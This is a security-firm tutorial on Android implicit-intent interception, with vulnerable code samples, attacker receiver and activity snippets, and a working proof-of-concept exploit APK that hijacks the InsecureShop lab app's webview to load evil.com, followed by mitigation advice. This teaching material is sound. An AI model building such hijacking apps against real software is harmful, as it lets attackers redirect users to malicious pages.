AndroidDecember 9, 2023Intercepting Implicit Intent to Load Arbitrary URL

In the world of Android app development, intents play a crucial role in facilitating communication and interaction between different components within an app and even between different apps. Intents can be categorized into two types: explicit and implicit. While explicit intents have a specific receiver and are delivered to a predetermined component, implicit intents leave certain parameters open, allowing Android to determine which component should handle the intent based on its capabilities and the intent’s filter criteria. 

Understanding Implicit Intents: The Basics 

Implicit intents are used when you want to describe a general action to be performed without explicitly specifying the exact component to handle the intent. Instead, the Android system determines the appropriate component based on the intent’s parameters, such as action, data, mime type, and categories. This dynamic nature of implicit intents allows for seamless integration with various apps on a device, enabling actions like opening a web page, sending an email, or sharing content. 

Intent intent = new Intent (Intent.ACTION_VIEW, Uri.parse("https://www.example.com")); startActivity(intent);  

In the above example, an implicit intent is used to open a web page. The intent specifies the action as ACTIONVIEW and the data as the URL of the web page. When this intent is launched, the Android system matches it with apps that have registered to handle the ACTIONVIEW action and can display web content. The user is then presented with a list of compatible apps to choose from. 

Risks of Implicit Intents: Interception and Data Leakage 

While implicit intents provide flexibility and ease of use, they can also introduce security vulnerabilities if not handled properly. One of the major risks is the interception of implicit intents by malicious apps installed on the same device. Since implicit intents do not specify a specific component, any app with a matching intent filter can intercept and handle the intent, leading to unauthorized access to sensitive data or execution of malicious code. 

Insecure Broadcast Dispatch 

One common vulnerability associated with implicit intents is insecure broadcast dispatch. When an app uses an implicit intent with the sendBroadcast() method, it broadcasts a message that any app with a matching intent filter can receive. This can allow malicious apps to intercept the broadcast and access sensitive information. 

Intent intent = new Intent("com.victim.messenger.IN_APP_MESSAGE"); intent.putExtra("from", id); intent.putExtra("text", text); sendBroadcast(intent);  

In the above example, a messaging app broadcasts an intent with sensitive message data. However, if an attacker registers a broadcast receiver with the same action, they can intercept and access the user’s messages from a different app. 

<receiver android:name=".EvilReceiver">   
<intent-filter>     
<action android:name="com.victim.messenger.IN_APP_MESSAGE" />   </intent-filter> </receiver>  

The EvilReceiver intercepts the broadcast and logs the intercepted data. In a real attack scenario, the attacker could send the intercepted data to a remote server or perform other malicious actions. 

Attacks on Activity’s Return Value 

Implicit intents launched with startActivityForResult() can also be vulnerable to attacks if the return value of the intent is not properly validated. For example, suppose an app uses an implicit intent with the startActivityForResult() method to pick an article. In that case, an attacker can intercept the result and return a malicious URL in the launching app’s onActivityResult() method. 

startActivityForResult(new Intent("com.victim.PICK_ARTICLE"), 1);  protected void onActivityResult(int requestCode, int resultCode, Intent data) {   

super.onActivityResult(requestCode, resultCode, data);   if (requestCode == 1 && resultCode == -1) {     

webView.loadUrl(data.getStringExtra("picked_url"));   } }  

The attacker can register an intent filter with a higher priority for the com.victim.PICK_ARTICLE action and intercept the returned URL. 

<activity android:name=".EvilActivity">   

<intent-filter android:priority="999">     <action android:name="com.victim.PICK_ARTICLE" />     <category android:name="Android.intent.category.DEFAULT" />   </intent-filter> </activity>  protected void onCreate(Bundle savedInstanceState) {   

super.onCreate(savedInstanceState);   

setResult(-1, new Intent().putExtra("picked_url", "http://evil.com/"));   

finish(); }  

In this example, the EvilActivity intercepts the implicit intent result and returns a malicious URL. This can lead to the execution of malicious code or the theft of sensitive data. 

Practical

In order to intercept an intent, it has to be broadcast first. Searching the source code of an insecure shop application, we can see an activity called “ProductList”. Analyzing its source code reveals that it registers a broadcast receiver that listens for “com. insecure shop.action.PRODUCT_DETAIL” intent.

Figure 1: com.insecureshop.ProductListActivity
Figure 2: com.insecureshop.ProductListActivity

Double click on the “ProductDetailBroadCast”, here we can see that the “ProductDetailBroadcast” receiver starts an activity to open a web page using an implicit intent.

Figure 3: com.insecureshop.broadcast.ProductDetailBroadCast

If you check the “ProductAdapter” class, You see that the PRODUCT_DETAIL intent is broadcasted whenever we click the more information option.

Figure 4: com.insecureshop.ProductAdapter

The vulnerability here is that we can intercept the implicit intent, allowing us to hijack the app’s flow and display our attacker’s website. This poses a significant problem because when users click on the “more info” button, they are redirected to a potentially malicious page. There is a risk that users might trust this page, assuming it is safe, as the trusted Insecureshop app opened it.

Here, we are creating a malicious APK to redirect users to a website of our choosing.

Exploit APK –

 
AndroidManifest.xml 
<?xml version="1.0" encoding="utf-8"?> 
<manifest xmlns:android="<http://schemas.android.com/apk/res/android>" 
xmlns:tools="<http://schemas.android.com/tools>"> 
<uses-permission android:name= "android.permission.SYSTEM_ALERT_WINDOW"/> 

<application 
android:allowBackup= "true" 
android:dataExtractionRules="@xml/data_extraction_rules" 
android:fullBackupContent="@xml/backup_rules" 
android:icon="@mipmap/ic_launcher" 
android:label="@string/app_name" 
android:roundIcon="@mipmap/ic_launcher_round" 
android:supportsRtl= "true" 
android:theme="@style/Theme.Arbitraryurl" 
tools:targetApi="31"> 
<activity 
android:name=".MainActivity" 
android:exported="true"> 
<intent-filter> 
<action android:name= "android.intent.action.MAIN"/> 

<category android:name= "android.intent.category.LAUNCHER"/> 
</intent-filter> 
<intent-filter android:priority="1000"> 
<action android:name= "com.insecureshop.action.WEBVIEW"/> 
<category android:name= "android.intent.category.DEFAULT"/> 
<category android:name= "android.intent.category.BROWSABLE"/> 
</intent-filter> 
</activity> 
</application> 

</manifest>

MainActivity.java 

package com.exploit.arbitraryurl; 

import android.content.Intent; 

import android.os.Bundle; 

import androidx.appcompat.app.AppCompatActivity; 

 

public class MainActivity extends AppCompatActivity { 

    @Override 

    protected void onCreate(Bundle savedInstanceState) { 

        super.onCreate(savedInstanceState); 

        setContentView(R.layout.activity_main); 

 

        Intent hijack = new Intent("com.insecureshop.action.WEBVIEW"); 

        hijack.putExtra("url", "<http://evil.com>"); 

        hijack.setClassName("com.insecureshop", "com.insecureshop.WebView2Activity"); 

        startActivity(hijack); 

    } 

} 

As you can see in the MainActivity.java file, we specify http://evil.com as the URL. When a user clicks on the “more info” option, they will be redirected to evil.com. 

Now, install our APK into the device/emulator using the ADB tool or Android Studio. Open the Insecureshop application from our emulator and click on the “more info” option. 

Observe that the user is being redirected to the URL specified in our exploit apk, ie evil.com. 

Figure 6: Redirected to evil.com- Proof of Concept (PoC)

As you can see, we have opened an attacker URL in the context of the vulnerable application’s webview. 

Best Practices for Securing Implicit Intents 

To protect your Android app from interception and malicious attacks, it is essential to follow best practices for handling implicit intents. By implementing the following security measures, you can ensure the integrity and confidentiality of your app’s sensitive data. 

1) Validate and Sanitize Input Data 

When handling implicit intents, it is crucial to validate and sanitize any input data before using it in your app. Ensure that the data received from implicit intents is properly validated and sanitized to prevent any security vulnerabilities such as code injection or data leakage. 

2) Avoid Storing Sensitive Data in Implicit Intents 

Avoid passing sensitive data through implicit intents whenever possible. If your app requires the transmission of sensitive information, consider using explicit intents or other secure communication channels, such as encrypted APIs or secure sockets layer (SSL) connections. 

3) Implement Intent Filtering Carefully 

When defining intent filters in your app’s manifest file, be cautious about the actions, data types, and categories you declare. Avoid exposing sensitive functionality or data through intent filters and ensure that only necessary components are registered to handle specific actions. 

4) Limit App Permissions 

Carefully review and restrict the permissions requested by your app. Only request the minimum set of permissions necessary for your app’s functionality. This helps prevent unauthorized access to sensitive user data and reduces the attack surface for potential security vulnerabilities. 

5) Implement Secure Inter-Component Communication 

Implement secure inter-component communication mechanisms, such as content providers, services, or bound services, to exchange data securely between different components within your app. This helps prevent unauthorized access to sensitive information and ensures data integrity. 

6) Perform Regular Security Audits and Penetration Testing 

Regularly conduct security audits and penetration testing to identify and address any security vulnerabilities in your app. This helps ensure that your app remains resilient against potential attacks and provides a secure user experience. 

TL;DR

Implicit intents are a powerful and convenient mechanism in Android app development, but they can introduce security vulnerabilities if not handled properly. By understanding the risks associated with implicit intents and following best practices for securing your app, you can protect your user’s sensitive data and provide a secure environment for their interactions. Implementing explicit intents, validating input data, avoiding storing sensitive information in implicit intents, and regularly updating your app are essential steps toward ensuring the security of your Android app. Stay proactive in your security measures and regularly assess and mitigate any potential risks to provide a safe and reliable user experience.

Redfox Security is a diverse network of expert security consultants with a global mindset and a collaborative culture. If you are looking to improve your organization’s security posture, contact us today to discuss your security testing needs. Our team of security professionals can help you identify vulnerabilities and weaknesses in your systems and provide recommendations to remediate them.

“Join us on our journey of growth and development by signing up for our comprehensive courses.

Prince Varghese

by Prince Varghese

Associate Security Consultant | Redfox Security